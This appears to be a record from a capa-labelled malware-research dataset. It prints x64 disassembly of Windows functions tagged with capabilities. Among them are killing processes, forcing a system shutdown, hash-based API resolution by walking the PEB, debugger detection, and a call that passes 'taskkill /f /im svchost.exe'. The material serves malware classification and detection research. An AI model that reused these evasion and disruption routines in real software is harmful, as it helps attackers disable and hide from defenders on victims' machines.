joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401d3490
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x290
mov rax, qword [0x1401eb040]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov rdi, rcx
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1401d34cf
xor al, al
jmp 0x1401d362b
mov qword [rsp + 0x2a0], rbx
lea rdx, [rsp + 0x40]
mov rcx, rsi
mov qword [rsp + 0x2a8], rbp
mov dword [rsp + 0x40], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1401d3610
xor ebp, ebp
nop
xorps xmm0, xmm0
mov qword [rsp + 0x30], rbp
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x38], rbp
lea rax, [rsp + 0x6c]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], bp
jne 0x1401d3520
lea rdx, [rsp + 0x6c]
lea rcx, [rsp + 0x20]
call fcn.1401d30f0
cmp qword [rdi + 0x18], 7
mov rax, rdi
jbe 0x1401d3546
mov rax, qword [rdi]
mov r10, qword [rsp + 0x38]
lea r8, [rsp + 0x20]
mov r9, qword [rsp + 0x20]
cmp r10, 7
mov rdx, qword [rsp + 0x30]
cmova r8, r9
cmp rdx, qword [rdi + 0x10]
jne 0x1401d3588
test rdx, rdx
je 0x1401d3584
sub r8, rax
movzx ecx, word [r8 + rax]
cmp cx, word [rax]
jne 0x1401d3588
add rax, 2
sub rdx, 1
jne 0x1401d3570
mov bl, 1
jmp 0x1401d358a
xor bl, bl
cmp r10, 7
jbe 0x1401d35c5
lea rdx, [r10*2 + 2]
mov rax, r9
cmp rdx, 0x1000
jb 0x1401d35bd
mov r9, qword [r9 - 8]
add rdx, 0x27
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401d364c
mov rcx, r9
call fcn.1401e0a94
test bl, bl
je 0x1401d35fa
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1401d35fa
mov edx, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1401d3500
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x2a0]
mov al, 1
mov rbp, qword [rsp + 0x2a8]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1401e0720
mov rsi, qword [rsp + 0x2b0]
add rsp, 0x290
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1401d3720
Capabilities:
Shutdown system

Disassembly:
sub rsp, 0x58
mov rax, qword [0x1401eb040]
xor rax, rsp
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1401d3787
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_open_process_token.
call fcn.1401d7120
lea rdx, [0x1401d7300]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor al, al
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1401e0720
add rsp, 0x58
ret
lea r8, [rsp + 0x3c]
xor ecx, ecx
lea rdx, str.SeShutdownPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x38]
xor eax, eax
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x44], 2
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1401d3812
lea rdx, str.Failed_to_adjust_token_privileges.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1401d7120
lea rdx, [0x1401d7300]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1401e0720
add rsp, 0x58
ret
xor edx, edx
mov ecx, 5
call qword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
jne 0x1401d382c
lea rdx, str.Failed_to_shut_down_the_system.
jmp 0x1401d37d7
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1401e0720
add rsp, 0x58
ret
Function at 0x1401d3da0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
mov r9, qword [r11 + 0x30]
xor r15d, r15d
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1401d3e48
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1401d3e48
mov edi, dword [rbx + 0x20]
nop dword [rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1401d3e43
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x1401d3e20
cmp edx, 0x53b2070f
je 0x1401d3f3b
test r8d, r8d
jne 0x1401d3e00
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1401d3e5d
cmp qword [rax + 0x30], r15
jne 0x1401d3dd2
mov rax, r15
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2a], 0x6c6c64
mov dword [rbp - 0x30], 0x6c64746e
mov word [rbp - 0x2c], 0x2e6c
mov byte [rbp - 0x26], r15b
call rax
mov r14, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1401d3fb0
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rsi, qword [rcx]
mov r11, rsi
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1401d3f24
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1401d3f24
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1401d3f1f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1401d3f00
cmp edx, 0xf8f45725
je 0x1401d3f57
test r8d, r8d
jne 0x1401d3ee0
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1401d3f6f
cmp qword [rax + 0x30], r15
jne 0x1401d3eb0
jmp 0x1401d3f6f
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1401d3e60
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r15d, dword [rcx + rdx*4]
add r15, r9
movdqa xmm0, xmmword [str.NtQueryInformati_]
lea rdx, [rbp - 0x20]
mov rcx, r14
mov dword [rbp - 0xa], 0x737365
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0x72506e6f
mov word [rbp - 0xc], 0x636f
mov byte [rbp - 6], 0
call r15
test rax, rax
je 0x1401d3fb0
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov eax, 1
jmp 0x1401d3fb2
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rbp
ret
Function at 0x1401d3fd0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x500
mov rax, qword [0x1401eb040]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x4d0
call fcn.1401e162a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1401d40a8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1401d40a8
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1401d40a3
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x1401d4080
cmp edx, 0x9bc5a608
je 0x1401d41ce
test r8d, r8d
jne 0x1401d4060
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1401d40be
cmp qword [rax + 0x30], 0
jne 0x1401d4030
xor eax, eax
call rax
mov dword [rsp + 0x50], 0x100010
mov rbp, rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1401d4168
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x1401d4168
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1401d4163
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1401d4140
cmp edx, 0x85cca27e
je 0x1401d41ea
test r8d, r8d
jne 0x1401d4120
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x1401d417e
cmp qword [rax + 0x30], 0
jne 0x1401d40f0
xor eax, eax
lea rdx, [rsp + 0x20]
mov rcx, rbp
call rax
test eax, eax
je 0x1401d4208
cmp qword [rsp + 0x68], 0
jne 0x1401d41c7
cmp qword [rsp + 0x70], 0
jne 0x1401d41c7
cmp qword [rsp + 0x78], 0
jne 0x1401d41c7
cmp qword [rsp + 0x80], 0
jne 0x1401d41c7
cmp qword [rsp + 0x88], 0
jne 0x1401d41c7
cmp qword [rsp + 0x90], 0
je 0x1401d4208
mov eax, 1
jmp 0x1401d420a
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1401d40c0
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1401d4180
xor eax, eax
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.1401e0720
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1401d4240
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x28
call fcn.1401d3fd0
call fcn.1401d3da0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
add eax, 0x100000
mov dword [rdx + 0x40], eax
call fcn.1401d3ae0
cmp eax, 1
jne 0x1401d43f1
mov rax, qword gs:[0x60]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x20], rdi
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1401d4317
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1401d4317
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1401d4312
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1401d42f0
cmp r8d, 0x491e0a9c
je 0x1401d431c
test r9d, r9d
jne 0x1401d42d0
mov rax, qword [rax]
jmp 0x1401d42a0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, str.taskkill__f__im_svchost.exe
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1401d43c7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1401d43c7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1401d43c2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x1401d43a0
cmp r8d, 0xcded1a85
je 0x1401d43cc
test r9d, r9d
jne 0x1401d4380
mov rax, qword [rax]
jmp 0x1401d4350
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rdi, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x30]
add rsp, 0x28
ret
Function at 0x1401d6040
Capabilities:
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x1401eb040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov esi, 0xffff
movzx edi, dx
mov rbx, rcx
cmp si, dx
jne 0x1401d6071
xor eax, eax
jmp 0x1401d61bb
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x1401d60ae
mov r9, qword [rcx + 0x58]
movsxd r10, dword [r9]
lea rdx, [r8 + r10*2]
cmp r8, rdx
jae 0x1401d60ae
lea ecx, [r10 - 1]
movzx eax, di
mov dword [r9], ecx
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], di
jmp 0x1401d61bb
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xb0], rbp
je 0x1401d61b0
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x1401d60f5
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub rdx, rcx
mov rax, qword [rbx + 0x38]
sar rdx, 1
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1401d6103
movzx ecx, di
jmp 0x1401d6157
lea rax, [rsp + 0x40]
mov word [rsp + 0x50], di
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x52]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64__wchar_t_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1401d6170
sub eax, 1
je 0x1401d6170
cmp eax, 2
jne 0x1401d61b0
movzx ecx, word [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputwc]
cmp ax, si
cmove di, si
movzx eax, di
jmp 0x1401d61b3
mov rbp, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rbp, rax
je 0x1401d619e
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rbp
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbp, rax
jne 0x1401d61b0
lea rax, [rsp + 0x50]
mov byte [rbx + 0x72], 1
cmp qword [rsp + 0x48], rax
cmovne si, di
movzx eax, si
mov rbp, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1401e0720
add rsp, 0x80
pop rdi
pop rsi
pop rbx
ret

Function at 0x1401d6500
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
sub r8, rdx
movabs rax, 0xcbf29ce484222325
sar r8, 1
mov r9d, 0
add r8, r8
je 0x1401d6544
movabs r10, 0x100000001b3
nop word [rax + rax]
movzx ecx, byte [rdx + r9]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x1401d6530
ret
Function at 0x1401d6b20
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1401eb040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1401d6bf5
cmp byte [rcx + 0x72], 0
je 0x1401d6bf5
mov rax, qword [rcx]
mov qword [rsp + 0x78], rdi
mov edi, 0xffff
mov edx, edi
call qword [rax + 0x18]
cmp di, ax
je 0x1401d6bf1
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1401d6bb6
sub eax, 1
je 0x1401d6bba
cmp eax, 2
jne 0x1401d6bf1
mov byte [rbx + 0x72], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1401e0720
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x72], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x1401d6be8
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x1401d6bf1
cmp byte [rbx + 0x72], 0
sete al
jmp 0x1401d6b9e
xor al, al
jmp 0x1401d6b9e
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1401e0720
add rsp, 0x60
pop rbx
ret
Function at 0x1401ddb70
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
mov ebp, 0xfffd
nop word [rax + rax]
movzx ecx, word [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp ax, 9
ja 0x1401ddc53
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x1401ddc53
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x1401ddc71
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx + 0x10]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx]
cmp rcx, rax
je 0x1401ddc43
cmp word [rcx], 0x5c
jne 0x1401ddc3c
lea rdx, [rcx + 2]
cmp rdx, rax
je 0x1401ddc3c
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x1401ddc27
movzx eax, word [rdx]
sub ax, 0x28
cmp ax, 1
jbe 0x1401ddc39
test r8b, 0x10
jne 0x1401ddc3c
movzx eax, word [rdx]
sub ax, 0x7b
test bp, ax
jne 0x1401ddc3c
mov rcx, rdx
lea rax, [rcx + 2]
mov qword [rbx], rax
mov rcx, rbx
call fcn.1401d9350
test edi, edi
jne 0x1401ddba0
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.1401d9340
int3

Function at 0x1401e13b4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1401e13fe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1401e13fe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1401e13fe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1401e13fe
cmp dword [rcx + 0x84], 0xe
jbe 0x1401e13fe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1401e1400
xor al, al
add rsp, 0x28
ret
Function at 0x140002a50
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x140002aad
lea rbx, [0x140043a00]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140002a94
cmp r10, 2
jb 0x140002a94
cmp byte [r9], r8b
jne 0x140002a94
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140002a70
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x140002aef
lea rbx, [0x140043a00]
cmp r8b, 0x23
jne 0x140002ad3
cmp byte [r9], r8b
jne 0x140002ad3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140002ac0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140002c30
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x140002c4a
mov qword [r8], 0
lea rdx, [0x140043560]
call fcn.140002b00
mov rbx, rax
test rax, rax
jne 0x140002c6a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x140002d43
xor edx, edx
mov r8d, 2
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140002d43
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140002d43
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140002d43
cmp rdi, 0xffffffffffffffff
je 0x140002d43
mov rax, qword [0x140050b60]
test rax, rax
je 0x140002ce0
inc dword [rax + 0xec]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140002d43
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x140002d30
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140050b60]
test rax, rax
je 0x140002d25
dec dword [rax + 0xec]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140002d4c
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x140002d3e
mov qword [r14], rdi
mov rax, rsi
jmp 0x140002d4e
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x140006200
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov r11, rcx
lea rdi, [0x140043a00]
movsxd rcx, dword [rcx + 0xf0]
mov r10d, edx
shr r10d, 0x18
mov r8d, edx
shr r8d, 8
mov r9d, edx
mov rax, qword [r11 + 0xf8]
shr r9d, 0x10
mov ebx, dword [rax + rcx*4 - 4]
not ebx
movzx eax, dl
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, r8b
xor ebx, dword [rdi + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, r9b
xor ebx, dword [rdi + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
xor ebx, dword [rdi + rcx*4]
movzx ecx, bl
xor rcx, r10
shr ebx, 8
xor ebx, dword [rdi + rcx*4]
mov rcx, qword [r11]
not ebx
cmp dword [rcx + 0x3f20], ebx
jne 0x140006294
movsxd r8, edx
mov ecx, ebx
mov edx, 4
call fcn.140019980
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret